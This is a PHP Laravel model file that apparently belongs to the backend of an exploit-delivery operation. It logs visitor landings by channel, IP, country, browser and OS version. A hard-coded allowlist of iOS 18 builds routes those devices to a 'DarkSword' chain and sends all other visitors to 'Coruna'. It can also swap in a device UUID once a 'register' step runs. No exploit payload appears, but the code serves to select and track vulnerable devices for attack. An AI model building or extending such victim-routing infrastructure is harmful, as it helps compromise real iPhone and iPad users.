Files
2026-09-12 03:42:48 +08:00

225 lines
7.0 KiB
PHP

<?php
namespace App\Models;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;
class PageVisit extends Model
{
public $timestamps = false;
public const CHAIN_CORUNA = 0;
public const CHAIN_DARKSWORD = 1;
protected $fillable = [
'channel_id',
'client_uid',
'chain',
'session_id',
'user_agent',
'os',
'os_version',
'browser',
'browser_version',
'ip',
'country',
'domain',
'referer',
'created_at',
];
protected function casts(): array
{
return [
'chain' => 'integer',
'created_at' => 'datetime',
];
}
public static function chainLabel(int $chain): string
{
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
}
/** Only these iOS builds enter the DarkSword landing / workers. */
public const DARKSWORD_IOS_VERSIONS = [
'18.1.1', '18.4', '18.4.1',
'18.5', '18.6', '18.6.1', '18.6.2',
'18.7', '18.7.1', '18.7.2',
];
/**
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
*/
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
{
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
return self::CHAIN_CORUNA;
}
return self::isDarkSwordIosVersionString($osVersion)
? self::CHAIN_DARKSWORD
: self::CHAIN_CORUNA;
}
public static function isDarkSwordIosVersionString(?string $osVersion): bool
{
$canon = self::canonicalIosVersion($osVersion);
return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
}
/**
* 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
*/
public static function canonicalIosVersion(?string $osVersion): string
{
$version = trim((string) $osVersion);
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
return '';
}
$parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
return $parts[2] === 0
? $parts[0].'.'.$parts[1]
: $parts[0].'.'.$parts[1].'.'.$parts[2];
}
public static function normalizeDomain(?string $value): ?string
{
$value = trim((string) $value);
if ($value === '') {
return null;
}
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
$value = explode('/', $value, 2)[0];
$value = strtolower(rtrim($value));
if ($value === '' || ! str_contains($value, '.')) {
return null;
}
return substr($value, 0, 255);
}
public const VISITOR_UID_LENGTH = 16;
public const LANDING_MERGE_SECONDS = 60;
/**
* One landing = one row. t.js and DS register share this so the same
* channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled.
* DarkSword wins on chain; register may replace client_uid with the device UUID.
*
* @param array<string, mixed> $attrs
*/
public static function recordLanding(array $attrs, int $chain): self
{
$channel = (string) ($attrs['channel_id'] ?? '');
$ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null);
$existing = null;
if ($channel !== '' && $ip !== '') {
$existing = static::query()
->where('channel_id', $channel)
->whereIn('ip', self::ipLookupKeys($ip))
->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS))
->orderByDesc('id')
->first();
}
if ($existing) {
$updates = [];
if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) {
$updates['chain'] = self::CHAIN_DARKSWORD;
}
if ($chain === self::CHAIN_DARKSWORD) {
$uid = trim((string) ($attrs['client_uid'] ?? ''));
if ($uid !== '' && $uid !== (string) $existing->client_uid) {
$updates['client_uid'] = substr($uid, 0, 64);
}
}
$incomingCountry = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
if ($incomingCountry && trim((string) ($existing->country ?? '')) === '') {
$updates['country'] = $incomingCountry;
}
foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
$incoming = $attrs[$field] ?? null;
if (! is_string($incoming) || trim($incoming) === '') {
continue;
}
$incoming = trim($incoming);
$current = trim((string) ($existing->{$field} ?? ''));
if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) {
$updates[$field] = $incoming;
}
}
if ($updates !== []) {
$existing->fill($updates)->save();
}
return $existing;
}
$attrs['chain'] = $chain;
$attrs['created_at'] = $attrs['created_at'] ?? now();
$attrs['country'] = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
return static::query()->create($attrs);
}
/**
* Stable visitor id: same domain+ip always yields the same 16-hex value.
*/
public static function visitorUid(?string $domain, ?string $ip): string
{
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
$ipKey = self::normalizeIp($ip);
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
}
/**
* Unwrap IPv4-mapped IPv6 (`::ffff:1.2.3.4` → `1.2.3.4`) and canonicalize.
*/
public static function normalizeIp(?string $ip): string
{
$ip = strtolower(trim((string) $ip));
if ($ip === '') {
return '';
}
if (str_starts_with($ip, '::ffff:')) {
$mapped = substr($ip, 7);
if (filter_var($mapped, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
return $mapped;
}
}
$packed = filter_var($ip, FILTER_VALIDATE_IP) ? inet_pton($ip) : false;
if ($packed !== false) {
$canon = inet_ntop($packed);
if (is_string($canon) && $canon !== '') {
return strtolower($canon);
}
}
return $ip;
}
/**
* @return list<string>
*/
public static function ipLookupKeys(?string $ip): array
{
$norm = self::normalizeIp($ip);
if ($norm === '') {
return [];
}
$keys = [$norm];
if (filter_var($norm, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$keys[] = '::ffff:'.$norm;
}
return array_values(array_unique($keys));
}
}